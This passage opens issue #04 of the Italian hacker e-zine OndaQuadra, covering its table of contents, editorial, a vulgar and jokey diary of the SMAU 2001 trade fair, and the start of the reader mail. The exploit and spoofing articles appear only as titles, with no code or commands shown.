Copy Link
Add to Bookmark
Report

OndaQuadra 04

eZine's profile picture
Published in 
OndaQuadra
 · 5 years ago

  

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::,. .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::, r#@@@@@M ,::::. .,:::::::::::@@@::NN:::N:DDD,:::AA:::::::::::::::::::::::::
:::::, B@@@@@@@@@@@@ .:, ,H@@@A: .:::::::::@:::@:N:N::N:D:::D:A::A::::::::::::::::::::::::
::::. @@@, S@@@@@@; ,,;@@@@@@@@@:.:::::::::@:::@:N::N:N:D:::D:AAAA::::::::::::::::::::::::
:::. S@@@. .::, r@@@@@@ ,,.; ;@@@@@@@. ,::::::::@@@::N:::NN:DDDD:A::::A:::::::::::::::::::::::
::: ;@@@@ ::::: #@@@@@ ,,. ;@@@@@@@@ .::::::::::::::::::::::::::::::::::::::::::::::::::::::
::, @@@@@: .,:::, r@@@@: ,:, @@@@@@@@@, ,:::::::::::::::::::::::::::::::::::::::::::::::::::::
::, @@@@@@ @@@@ .:, #@@@@@@@@@# .::::::::::::::@@@::U:::U::AA:::DDD,::RRR,::::AA::::
::: 2@@@@@@@G. M@@& ,:. S@@@@@@@@@@@@5 ,::::::::::@:::@:U:::U:A::A::D:::D:R::R:::A::A:::
:::. #@@@@@@@@@@@: ,:, .@@@@@@@@@@@@@@@@A ::::::::::@:::@:U:::U:AAAA::D:::D:RRRR:::AAAA:::
:::: :@@@@@i .:::: @@@@@@@@@@@@@@@@@@@@@i ,:::::::::@@@:::UUU:A::::A:DDDD::R:::R:A::::A::
:::::, ,::: h@@@@@@@@@@@@@@@@@@@@@@H .::::::::::@:::::::::::::::::::::::::::::::::
:::::,. ;3H@@@H, ., @@@@@@@@@@@@@@@@@@@@@@@@@; ,::::::::::::::::::::::::::::::::::::::::::
:::, r@@@@@@@@@@@@; . @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::://////////////////\\\\\\\\\\\\\\\\::::
::. #@@; :@@@@@@s .@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,=|IL BATTITO CARDIACO DEL CYBERSPACE|=::
:. @@@ .::, @@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@ .::\\\\\\\\\\\\\\\\\\////////////////::::
: ,@@@M :::::, ,@@@@@ ,, .@@@@@@@@@@@@@@@@@@@@@@@@@X ::::::::::::::::::::::::::::::::::::::::
, @@@@@ ,::::: @@@@; ,:: 2@@@@@@@@@@@@@@@@@@@@@@@,H.::::::::::::::::::::::::::::::::::::::::
, @@@@@H r@@@: .:::: i@@@@@@@@@@@@@@@@@@@@@@@3 ::::::::::::::::0::::::@@:::::::::::::::
, A@@@@@@3 .@@@, .::::: @@@@@@@@@@@@@@@@@@@@@@@@ ::::::::::N:NN::::::::@:@:::::::::::::::
: S@@@@@@@@@@@@ .,::::,, @@@@@@@@@@@@@@@@@@@@@@@@; ::::::::::NN::N::::::@::@:::::::::::::::
:: A@r ,,::. @@r .9 @@@@@@@@@@@@@@@@@ ::::::::::N:::N:::::@@@@@@::::::::::::::
:::. H@@@@@@h; @@@@@@@@&.r @@3@@@@@@@@@@@@@@ ,:::::::::N:::N:::::::::@:::::::::::::::
:::.@@@@@@@@@@@@@@@@@&: . ;i@@hHi@@@@@@@@@@@@3 ,::::::::::::::::::::::::::::::::::::::
:::. .X@@@@@@@@@@@@@@X. . @@@@@@@@@@@@@@,.::::::::::::::::,,,,::::::::::::::::::
::::::,,,. :#@@@@@@@@@@@@@@@r rB@@@@@@@@@@,.::::::::::::,. r:,::::::::::::::::::
:::::::::::::,. ;H@@@@@@@@@@@@@@@#r #@@@@@r ,::::::,. 9@@@:,:::::::::::::::::::
::::::::::::::::::,. ;&@@@@@@@@@@@@@@@@G. r@@@@#, ,::::::::::::::::::
::::::::::::::::::::::::,. .r#@@@@@@@@@@@@@@@@@@@#BM@@@@@@@@@@, ,:::::::::::::::::::::
::::::::::::::::::::::::::::::,. :S#@@@@@@@@@@@@@@@@@&; ,:::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::,. .,::::::::::::::::::::::::::::::


+-------------------------------------------------------------------------------+
| ONDAQUADRA #04 - 19/11/2001 |
+-------------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+-------------------------------------------------------------------------------+
| ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+-------------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| INDICE |
+-------------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 EDiT0RiALE ................................................ [oq ~ staff] |
| 0x02 CR0NACHE DA SMAU .......................................... [oq ~ staff] |
| 0x03 RETR: LA P0STA Di 0Q ...................................... [oq ~ staff] |
| 0x04 ME L'HA DETT0 Mi0 CUGGiN0.................................... [tdi110cv] |
+-------------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 P0RTE, MA QUANTE S0N0? ..................................... [TheMRcode] |
| 0x06 HACK UNiX SHELL ................................................. [D3FU] |
| 0x07 SP00FiNG & HiJACKiNG ...................................... [CityHunter] |
| 0x08 iP SP00FiNG ATTACK .............................................. [E4zy] |
| 0x09 MAN iN THE MiDDLE ATTACK - Hunt v.1.5 ........................... [E4zy] |
+-------------------------------------------------------------------------------+
| [LiNUX] |
| 0x0A LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD .............. [xyzzy] |
+-------------------------------------------------------------------------------+
| [L'ANG0L0 DEGLi EXPL0iT] |
| 0x0B IIS 5.0 PRiNTER 0VERFL0W ............................. [MightyInquisitor]|
+-------------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x0C i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX ........................ [shnyper] |
+-------------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0D C0RS0 Di C [PARTE TERZA] ...................................... [JEYoNE] |
| 0x0E iNTR0 ALLE MACR0 (7/8) ........................................ [Mastro] |
| 0x0F 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] |
+-------------------------------------------------------------------------------+
| [MiSC] |
| 0x10 +++ATH0........................................................ [snake_] |
| 0x11 TELEF0NARE iN M0D0 AN0NiM0 ............................... [Screener_it] |
| 0x12 P0P3 ........................................................ [mR_bIs0n] |
| 0x13 SPYWARE AT ALL ...................................... [MightyInquisitor] |
| 0x14 TELNET: 0VVER0 BASTA !!!!! ............................... [Screener_it] |
| 0x15 DiFENDiAM0 LA NOSTRA PRiVACY ................................ [tdi110cv] |
| 0x16 NiMDA, 0VVER0 QUEST0 F0TTUT0 VERME .......................... [tdi110cv] |
+-------------------------------------------------------------------------------+
| [LO SCiAMANO] |
| 0x17 MY LiTTLE MANiFEST0 ............................................. [case] |
| 0x18 L0RD SHiNVA, CHE FiNE HA FATT0 ? ....................... [Xp Terminator] |
| 0x19 LEGGE 23 dicembre 1993 n. 547 .......................................... |
| Modificazioni ed integrazioni delle norme del codice ................... |
| penale e del codice di procedura penale in tema di...................... |
| criminalità informatica .................................... [qUiCkSoRt] |
| 0x1A SUL KATAKALi .............................................. [il Magnano] |
| 0x1B iL TERR0RiSTA SCRiVE A CENSURATi.iT................ [Antonella Serafini] |
+-------------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x1C GUiDA SUL MiRC SCRiPTiNG [PARTE SECONDA] ............. [[]_CyBeRPuNK_[]] |
| 0x1D ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M ........................ [BiGAlex] |
| 0x1E GESTiONE DEi FiLE iN ASSEMBLER ................................. [bondo] |
| 0x1F LA DURA ViTA DEi P0STiNi ...................................... [lesion] |
| 0x20 GUiDA PRATiCA ALLE REGULAR EXPRESSi0N ......................... [Domin3] |
| 0x21 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 2 .......... [Zer0] |
+-------------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x22 NU0VA TERRA Di CONQUiSTA .................................... [Tritemius]|
+-------------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x23 D0VE TR0VARCi ............................................. [oq ~ staff] |
+-------------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 0S FR0M ZER0 CHAPTER ............................. [Alexander The Great] |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L0GiN] #04 - 19/11/2001 |
| EDiT0RiALE [oq ~ staff] 0x01/0x23 |
+-------------------------------------------------------------------------------+
|Altro giro, altro regalo! |
|Eccoci giunti al quinto numero della rivista, sempre più persone si collegano |
|su ondaquadra.cjb.net per scaricare la rivista, altrettante la leggono online, |
|o meglio cercano di leggerla, perchè la rivista è rilasciata in formato .txt |
|apposta per leggerla comodi comodi sul proprio desktop, e non per leggerla da |
|un browser... |
|A proposito di questo volevo darvi una bella notizia, non so se per l'uscita |
|di questo numero sarà già disponibile, ma presto tutti gli articoli saranno |
|online quindi non voglio sentire più nessuno lamentarsi perchè dal web non si |
|riesce a leggere o si legge male qualcosa, ok? |
|... |
|Bene, non risponde nessuno, quindi chi tace acconsente! :P |
|Questo numero presenta delle grosse novità, a partire dall'uscita bimestrale, |
|che magari a voi sembra poco, ma per noi della redazione è molto lavoro in più.|
|Purtroppo il pro di avere un numero ogni due mesi ha anche un contro, cioè che |
|il numero degli articoli, come potrete vedere, non è ampio come quello del |
|numero scorso. |
|In questo numero, tra gli altri articoli volevo segnalare quello di Alexander |
|The Great "0S FR0M ZER0 CHAPTER", un articolo davvero scritto bene su come |
|progettare e realizzare un sistema operativo partendo da zero. |
|Un altro articolo che ormai sembra essere diventato parte della rivista è |
|"iNTR0 ALLE MACR0" di Mastro, che dopo averci accompagnato per tre numeri, con |
|questo giunge alla fine della sua corsa e ci saluta. |
|Sempre nella sezione C0DiNG abbiamo la terza parte del C0RS0 Di C, nel quale |
|si parlerà del cosrutto "IF e ELSE" e del costrutto "SWITCH". |
|Nella sezione L0 SCiAMAN0 troviamo due articoli, uno è MY LiTTLE MANiFEST0 di |
|case, un articolo che parla di etica, e, L0RD SHiNVA, CHE FiNE HA FATT0 di |
|XpTerminator che, sempre parlando di etica, va a illustrare le ultime frasi che|
|Lord Shinva ha pronunciato prima di sparire, oltre ad alcune considerazioni. |
|Ne L'APPRENDiSTA STREG0NE troviamo ben 5 articoli che parlano di svariati |
|argomenti, partendo da ALG0RiTM0 Di C0DiFiCA A CHiAVE RAND0M, che, come dice il|
|titolo parla di crittografia, passando per la GESTi0NE DEi FiLE iN ASSEMBLER e |
|per la GUiDA PRATiCA ALLE REGULAR EXPRESSi0N, e finendo con LA DURA ViTA DEi |
|P0STiNi, un articolo di lesion che spiega come diventare veri e propri postini,|
|non quelli con la bicicletta e la borsa con i pacchi ma quelli con una keyboard|
|e un programma da configurare. |
|Ovviamente non poteva mancare l'appuntamento con GUiDA SUL MiRC SCRiPTiNG, che,|
|giunto alla seconda lezione, continua a spiegare come costruirsi uno script per|
|chattare in maniera più comoda. |
|Nella sezione MiSC abbiamo un articolo che parla di +++ATH0, la famosa stringa |
|che "dovrebbe" far andare i modem in hangup, due articoli di Screener_it, uno |
|che spiega un'avventura con un telefono e cerca di far rimanere anonimi durante|
|una chiamata, l'altro parla del telnet, un articolo very newbies che spiega che|
|cos'è questo famoso programma veramente indispensabile. |
|Sempre nella sezione MiSC possiamo trovare l'articolo di MightyInquisitor, |
|SPYWARE iT ALL, ovvero un testo che cerca di far capire cosa sono e come |
|agiscono i famosi "programmi spia" oltre a come rimuoverli. |
|Nella sezione LiNUX troviamo il secondo appuntamento con xyzzy, con il suo |
|articolo "LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD" mentre in |
|"L'ANG0L0 DEGLi EXPL0iT" abbiamo un articolo di MightyInquisitor che parla |
|dell'ormai famoso baco di IIS e quello del Tdi110cv che parla del suo solito |
|CGI. |
|Abbiamo le patate, i peperoni, i pomodori per la salsa signora! (ops, mi sono |
|confuso, ma il camion del fruttivendolo ormai mi sta condizionando! :)) |
|Abbiamo ancora un sacco di articoli, ma forse e' meglio non perdere tempo |
|a leggere questo editoriale e andare a leggervi subito gli articoli che anche |
|per questo bimestre ci accompagnano! |
|Buona lettura dunque, non mi resta altro che ricordarvi di inserire il vostro |
|voto nel sondaggio che abbiamo aperto in home page (http://ondaquadra.cjb.net) |
|e di scrivere a mail@ondaquadra.cjb.net se avete qualche domanda da porci (no, |
|non da porci inteso come maiali, ma da porci inteso come..vabbè,buona lettura!)|
|:) |
| JEYoNE |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 |
| CR0NACHE DA SMAU [__Wei§§e§__] 0x02/0x23 |
+-------------------------------------------------------------------------------+
| |
| CRONACHE DA SMAU 2001.... OVVERO: PRONDOOOO CIAO BELLO |
| _________________________________________________________________________ |
| Data: fra il 22/10/01 Al 29/10/01 |
| Ora: se l' ho scritto in vari giorni come faccio a drvi gli orari? |
| Luogo: Treno, Casa, Pub, Ospedale! |
| Disclaimer: E aCosa Cazzo serve un disclaimer qua? vabbe', se proprio lo |
| volete: |
| IO NON C'ERO, SE C' ERO DORMIVO E SE DORMIVO NON POTEVO NE SENTIRE NE |
| VEDERE, UNA MELA AL GIORNO LEVA IL MEDICO DI TORNO, LA MUCCA FA MUUUU |
| E IL MERLO NON FA MEEEE! CONTENTI? |
| __________________________________________________________________________ |
| |
| Prima di iniziare questo articolo che sto' scrivendo sul treno in ritorno |
| da milano, volevo salutare il mio grande amico PHOBOS AKA DARKSPARROW AKA |
| TRN (in privato ti spieghero' cosa vuol dire trn), che a modo suo e' stato |
| ilprotagonista di queste nostre giornate milanesi.....PHOBBINO, non ti |
| incazzareche ti ho anche fatto parlare al telefono con una figliola di |
| inaudita |
| bellezzala scorsa sera, quindi ringraziami (ovviamente dopo che avrai dato |
| l' esame :-D..... minchia che bastardo che sono e che vuoi farci AMORE |
| MIOOOOO |
| io sono fatto cosi'.......PRONDOOOOOOO CIAO BELLOOOOOO! |
| |
| OK, OK, finiamo di dire stronzate e diciamone delle altre :-D |
| come consuetudine vi parlo di quanto e' successo in questi giorni: |
| 1) la penosa competenza in materia di noti operatori informatici; |
| 2) le gnocche che abbiamo visto in fiera; |
| 3) l' alcool che ci siamo ciucciati; |
| 4) un lato segreto del tritolo che mi ha lasciato esterefatto; |
| 5) ultimo ma non ultimo, anzi primissimo...PHOBOS |
| |
| Dunque dunque, da dove cominciamo? |
| e che ne so io da dove cominciare, intanto parlo e vi dico che: |
| LA NUTELLA E' SESSUALMENTE COMPATIBILE! |
| |
| Allora, quest' anno aprofittando di 4 giorni a mia disposizione, |
| ho avuto modo di girare bene rionero.... ehm.. SMAU e poter |
| visionare tutte o quasi le nuove tecnologie informatiche, ma |
| doveeee? |
| Devo dire che la cosa piu' interessante di questa fiera erano le |
| standiste, soprattutto quelle di aruba.it e la gnoccona dello stand |
| della fuji per il resto niente di nuovo a parte qualche piccolezza |
| di relativa importanza! |
| entrando a smau, il primo stand che ho visitato e' stato quello di |
| una nota ditta produttrice di telefoni cellulari, la quale molto |
| cortesemente mi invitava ad aggiornare il software del mio telefono, |
| io ovviamente ho accettato e sorpresa delle sorprese l' aggiornamento |
| mi ha sputtanato il sistema t9 per editare gli sms, incazzatissimo, |
| ho fatto richiesta di riaggioranare o retrocedere l' operazione, a |
| sto' punto era meglio, almeno prima tutto funzionava :D |
| insomma, ci ho messo mezz' ora per far si che il mio tel tornasse |
| a funzionare visto che nessuno degli addetti riusciva a far qualcosa, |
| anzi uno di loro addirittura mi invitava a rivolgermi ad un loro point |
| esterno.....dico ma siete scemi?! |
| Sempre al solito stand, mentre attendevo notavo una cosa troppo |
| ridicola, l' azienda in questione, che oltre a produrre cellulari |
| produce anche monitor, utilizzava dei monitor che erano anche a |
| disposizione del pubblico, di tutt' altra marca coprendone penosamente |
| l' etichetta con un adesivo, non ho parole! |
| |
| Vabbe', risolto cio' il mio giro e' proseguito alla volta del |
| padiglione piu' triste della fiera, gia' perche' i signori non |
| avevano uno stand, ma un intero padiglione tutto dedicato al loro |
| favoloso nuovo sistema operativo, avete capito di chi parlo vero? |
| Insomma per quanto riguarda il s.o. in oggetto niente da dire |
| per il momento, visto e considerato che lo sto' usando in versione |
| beta da 5 mesi a questa parte e non ho ancora trovato un bug serio |
| a parte il sistema di messaggistica istantanea, ma mai dire mai, |
| a meno che nella loro politica commerciale non abbiano deciso di |
| vendere i bug in seguito ad un prezzo irrisorio :-D |
| e daiiii, non potevo non esprimere i miei pensieri in merito senza |
| scherzarci sopra! |
| |
| Nel pomeriggio mi ha seguito in fiera il mio fratellone JEYoNE, con |
| il quale abbiamo iniziato a cazzeggiare piu' che guardare la fiera. |
| |
| La serata e' proseguita sui navigli in compagnia di altri due tipi |
| che colgo l' occasione di salutare BOMBOLO E ALEX B, con i quali |
| abbiamo bevuto una serie di schifosissimi cocktails, eh si, capita |
| anche questo, in compenso alle 2:30 JEYoNE ha avuto la mitica idea di |
| andare a mangiare le paste calde, quelle si che erano buone, e' stato |
| in quel momento, mentre mangiavo un gustoso cornetto alla nutella |
| che ho coniato la frase: LA NUTELLA E' SESSUALMENTE COMPATIBILE! |
| concordate? anche se non concordate non me fotte un cazzo :-D |
| |
| L'indomani, in condizioni di coma etilico e sonno mostruoso, mi sono |
| rirecato in fiera ed ho rivisto JEYoNE e anche il caro TRITOLO |
| (TRITEMIUS n.d.r.), vedendo il mio compagno di bevute trtms era ovvio |
| fare come prima tappa una visitina al padiglione piu' serio della fiera, |
| quello del bar :-D |
| |
| Essendo ormai convinti che la fiera era molto relativa (cazzo la pila |
| del portatile e' ormai agli sgoccioli) abbiamo preferito girare per |
| vedere un po' di gnocca, parlare della nostra creatura OQ e di |
| GIOCATTOLINI, si avete capito bene, giocatolini, ma i nostri giocattolini! |
| Siamo giunti alla sera e tritolo e' tornato a casa sua, idem io e JEYoNE |
| anche se poi ci siamo rivisti dopo, gia', dopo visto che qualcuno si |
| e' presentato in via torino con un po' di ritardo (azz. , ma quello ero io!) |
| Insomma AMORIIIII MIEI, come direbbe phobos, abbiamo cenato alle 23, |
| siamo andati a casa di un amico di jey a vedere un film pallosissimo, che |
| dico pallosissimo, di piu', i suoi amici dormivano tutti. |
| |
| Finita sta' palla, Jey ha deciso di mantenere una promessa che da 2 anni |
| non mantiene e mi ha portato a mangiare il panino con la salsiccia alla |
| centrale del latte, o fermata della latte come dico io! |
| La serata si e' conclusa cosi': JEY CENSURAMI E TI TAGLIO LE PALLE! |
| Il caro jey ha accompagnato la donna a casa dicendo che sarebbe rientrato |
| entro 10 minuti, dopo un' ora io e un altro povero pirla eravamo soli |
| sotto la pioggia ad attendere che il signorino rientrasse, ma poverino |
| era li' che subiva le ire della donna incazzata nera. HI HI HI |
| Insomma, alle 3:30 sono riuscito ad andare a nanna! |
| |
| Il giorno dopo, cioe' ieri, cioe' sabato, era il giorno dell' incontro |
| totale, ovvero io, jey, tritolo, tdi (portato in fiera con meschino |
| inganno da parte mia) e tutto il resto della ciurma di #hackmaniaci |
| #ondaquadra e #crack-it, insomma, non tutti ma coloro che hanno chiamato |
| all' Oq phone, ovvero il numero di telefono messo a disposizione |
| di chi voleva incontrarci, a proposito di cio', mi spiace per il tipo |
| che ha chiamato 2 volte e non gli ho risposto, scusa, ma cerca di |
| capire, in quel momento ero sulla tazza del cesso e non potevo assolutamente |
| risponderti! |
| |
| Fra gli stand piu' interessanti c' era quello della plextor, i quali |
| benche' producano eccellenti masterizzatori, hanno attratto la nostra |
| attenzione grazie a dei bellissimi accendini a forma di sigaretta che |
| regalavano e che noi abbiamo ovviamente preso in quantitativi industriali! |
| |
| Durante le giornate di smau io e uno dei miei soci, di cui non cito il nome |
| per la sua sicurezza :-) abbiamo stretto una sorta di amicizia e |
| tacchinaggio |
| con le due standiste della samsung francesca ed elena anche se il tutto si |
| e' limitato ad un costante scambio di gadget :-(, vabbe', almeno abbiamo |
| avuto |
| tutti gadget samsung che nessuno ha avuto! |
| |
| La mattina di sabato io ero a dormire da jey, alle 9:30, stranamente alle |
| sue |
| abitudini, e' arrivato tdi puntualissimo e sapete con cosa ha fatto |
| colazione? |
| caffe' e grappa, io e jey caffe' e sambuca :-) |
| partiamo alla volta di smau ed entrando ci assale un forte odore di |
| salsiccie, |
| cosa volete che facessimo? panino e birra media! |
| |
| Finito il panino arriva il nostro socio tritolo, anche lui affamato... e |
| vabbe' |
| lo accontentiamo e ci dirigiamo verso il bar della mitica piazza italia |
| dove abbiamo incontrato gli amici di un forum che frequento io, anche li |
| abbiamo bevuto un po' di birra giusto per non perdere il vizio, nel |
| frattempo |
| conoscevamo un po' di belle figliole! |
| |
| Vabbe', lasciamo gli amici appena incontrati dandoci appuntamento dopo cena |
| e proseguiamo il tour, nel frattempo venivamo assaliti da una fortissima |
| PHOBBITE, ovvero abbiamo iniziato a parlare come lui, chi non lo ha mai |
| sentito |
| non sa' cosa perde :-) da quel momento in poi nessuno a smesso di parlare |
| cosi' fino alla fine della giornata! |
| |
| Erano le 18 ed ormai ci eravamo proprio rotti le palle di questo cazzo di |
| smau |
| ed io ero incazzato nero con l' omnitel che dalle 9 di mattina ancora non |
| mi aveva ricaricato il tel.... A quel punto la decisione piu' saggia: |
| abbandoniamo la fiera e andiamo verso il duomo a prendere un numero infinito |
| di aperitivi, ma la sfiga era con noi, e' venuta giu' una pioggia della |
| madonna, svaniva cosi' il progetto "lungo aperitivo", ovviamente cio' non |
| andava assolutamente a pregiudicare le nostre intenzioni etiliche, ci siamo |
| recati a casa di jey, dove ci siamo consolati a suon di grappa e sambuca! |
| Gia' che c'eravamo abbiamo deciso di mandare definitivamente in pensione |
| la vecchia caffettiera di jey, un pentium 133 mhz con hard disk modello |
| lasagna impazzita, sostituendola con un sicuramente piu' performante |
| duron 750 mhz..... cazzarola, mi sono dimenticato di overckloccarlo :-( |
| |
| L' ora di cena era ormai vicina e jey guardandoci esclama: |
| AMORI MIEI BBELLI, DOBBIAMO ANDARE A PRENDERE MARIA E POI A CENA |
| (pronunciare in phobbesco) e cosi' abbiam fatto. |
| |
| Una volta recuperata la donna di jey, mentre eravamo in macchina, tdi parte |
| con un' idea: TELEFONIAMO A PHOBOS :-D |
| attiviamo il vivavoce e dopo qualche squillo udiamo un portentoso |
| PRONDOOOOOO! |
| era lui non c'era ombra di dubbio, eravamo tutti sdraiati dalle risate e |
| phobbino ci dice: IN QUESCHTI GIORNI MI STATE FACENDO DIRE SEMPRE PRONDOOO, |
| PRONDOOO, PRONDOOOO :-D, inutile dire che da quel momento abbiamo parlato |
| solo ed esclusivamente in phobbesco! |
| |
| Giunti al restaurant, affamati come dei peperoni avariati, attendiamo una |
| mezz' oretta prima di sederci a tavola. |
| All' arrivo della cameriera io con molta disinvoltura le ordino la pizza |
| parlando come abatantuono, chissa' perche' e' rimasta un po' esterefatta?! |
| ops, sono le 21:30, devo uscire, scusatemi continuo dopo se non sono troppo |
| ubriaco! |
| |
| Riecchime, dunque, eravamo rimasti al restaurant, ok, la cena e' proseguita |
| fra pizza vino e tdi che si incazzava con jey perche' gli fumava sul muso |
| ogni 5 minuti :D. |
| |
| Al termine della cena TDI ci abbandona per tornare a casa, noi altri invece, |
| rifacciamo tappa sui soliti navigli, in un' altra |
| pizzeria, ma no, mica a mangiare, ma a raggiungere altri amici con i quali |
| abbiamo preso d' assedio un disco pub sul naviglio opposto, e qui che dire: |
| dopo la delusione di giovedi sono riuscito a bere un mojito come Cristo |
| comanda, |
| insomma, forse piu' di uno :D, il locale era un buco e noi una trentina ma |
| mi sono molto divertito, soprattutto quando, inaspettatamente a come lo |
| conoscevo |
| fino ad allora, ti vedo il tritolo schizzare in pista e ballare come un |
| matto... |
| MITICOOOOOOOOOOOOO :D alche' lo guardo, gli vado vicino e gli dico: AH |
| TRITO', |
| MA SEI PROPRIO TU? e lui sotto un sorrisino mi confessa: SOLITAMENTE SONO |
| ANCHE |
| PEGGIO, COSA CREDEVI? |
| insomma, per chi non lo conosce il tritolo e' un tipo tutto d' un pezzo, con |
| questo non voglio dire che sia un palloso, anziiiiii, ma in discoteca non ce |
| lo |
| facevo proprio. |
| |
| Vabbe', dopo un po' di balli e chiacchiere con chi osava passarmi accanto, |
| mi |
| sono rirecato al bar con tritolo, alla volta di due kaipiroske alla fragola, |
| |
| ritiriamo il prodotto ed attendendo l' eventuale resto (a mo' di |
| distributore |
| di sigarette :D) guardo il barman e con fare phobbesco gli dico: AMOREEE |
| MMMIO, |
| MA IL RESTO NON ME LO DAI? fino a qui tutto normale, se non fosse che il |
| barman |
| mi guarda e mi dice anche lui in phobbesco: SI CARO MIO, ASCHPETTA UN |
| SECONDO |
| CHE TE LO DO! INCREDIBILE PHOBBINO E' CONTAGIOSO AL 100% |
| |
| La serata volgeva al termine, o meglio se era per me e trit continuava, ma |
| jey |
| e la sua donna erano stanchi e giustamente (GRRRRRR)bisognava rispettare |
| anche |
| il loro volere e l' idea del tritolo di dormire su una panchina in stazione |
| non |
| mi stava affatto a genio..... e vabbe', namosene a casa. |
| |
| Durante il tragitto io e il tritolo abbiamo dato conferma a 2 progetti che |
| ci |
| giravano per la testa da qualche giorno, iniziamo con quello piu' sicuro: |
| fra poco nascera' e ci stiamo gia' lavorando, una nuova e-zine, non |
| aspettatevi |
| hacking etc, tutt' altro, ONDAQUAGLIA, questo e'il suo nome, sara' l' esatta |
| parodia |
| di ONDAQUADRA, tutti gli articoli saranno nettamente insensati ed avremo |
| anche un |
| forum di discussione con tanto di moderatori :D. |
| Perche' la nascita di cio'? bisogna spezzare dalla monotonia di ogni giorno |
| ;) |
| Il secondo progetto era quello di trasferirsi a milano io e il trit e |
| prendere |
| una casa in affitto insieme, la cosa grave sarebbe trovare un attimo per il |
| lavoro, visto e considerato che il motto di quella casa sarebbe: donne, |
| alcool e Pc. |
| |
| Raga, per ora e' tutto, nei prossimi giorni spero di tirare giu' anche un |
| articolo |
| serio, cosa che al momento non posso fare visto che mi hanno ricoverato in |
| ospedale per mononucleosi.....GRRRRRR |
| credo che a questo articolo se ne ggiungera' uno simile di tdi, cosa credete |
| che |
| anche lui se ne stava buono? :D |
| E che non venga fuori che ci siamo copiati gli articoli heeee!? prrrrrrrrrrrr |
| Cia' ciao |
| __Wei§§e§__ |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #04 - 19/11/2001 |
| RETR - LA P0STA Di 0Q [oq ~ staff] 0x03/0x23 |
+-------------------------------------------------------------------------------+
| |
| Date Thu, 25 Oct 2001 20:33:56 +0200 |
| To <mail@ondaquadra.cjb.net> |
| From lesion <lesion@...> |
| Subject impaginazione... |
| |
| [D] |
| <MODE POLEMICO ON> |
| 1)volevo solo kiedere se per le prossime uscite era |
| possibile impaginare l'ezine con righe lunghe al max 78 |
| chars, come da terminale (max 79 dai...) |
| altrimenti come la leggo con less? |
| 2)essendo il movimento underground solitamente stakkato |
| dalla burocrazia in generale, mi kiedevo il perke' della frase |
| ke mettete di default nell'intro dell'ezine ke cita un articolo della |
| costituzione... |
| io l'avrei evitato...poi, questa e' solo una mia opinione, e |
| la ezine, e' "la vostra"..... |
| <MODE POLEMICO OFF> |
| |
| [R] |
| 1) Gia' da questo numero le cose dovrebbero essere migliorate. |
| 2) Non e' un articolo a caso della Costituzione, ma e' l'articolo che |
| riguarda la liberta' di parola. E' stato inserito dopo l'approvazione |
| della legge sull'editoria, legge (a nostro parere) antidemocratica e |
| in palese contrasto con lo spirito costituzionale. |
| |
+----> |
| |
| Date Sat, 13 Oct 2001 08:26:38 -0000 |
| To mail@ondaquadra.cjb.net |
| From "edoardo ..." <edcorporation@...> |
| Subject Info |
| |
| [D] |
| Ciao ONDAQUADRA ! |
| "Grandissimi !" è dire poco... |
| Sono un neofita della programmazione. Dopo aver creato piccole e semplici |
| applicazioni, sto cercando di approfondire la mia conoscenza andando alla |
| scoperta dei segreti dei codici, cercando di trarre le maggiori informazioni |
| |
| da progetti pubblicati in codice sorgente o, cosa molto più difficoltosa, |
| disassemblando applicazioni già compilate. ( grazie per l'attenzione |
| dedicata al Visual Basic ). Non ho la cerchia di amici adatta ad |
| approfondire certi discorsi e di conseguenza molti problemi rimangono |
| irrisolti. Cerco in ONDAQUADRA un amico che mi sveli tutti i segreti dei |
| come e perchè. Le domande che vi vorrei porre sono quantitativamente |
| infinite, e per questo, se non vi scoccia, vi disturberò ancora, ma il |
| progetto che mi assilla ultimamente è : Creare un'applicazione che estragga |
| le tracce da CD e dia la possibilità del salvataggio in formato .wav e .mp3 |
| e la conversione dei due. Sottolineo il fatto che non so nemmeno da dove |
| iniziare, ma la mia attenzione va soprattutto sui CODEC che permettono la |
| conversione dei formati. .wav -.mp3, .bmp-.jpg, etc... forme compresse e non |
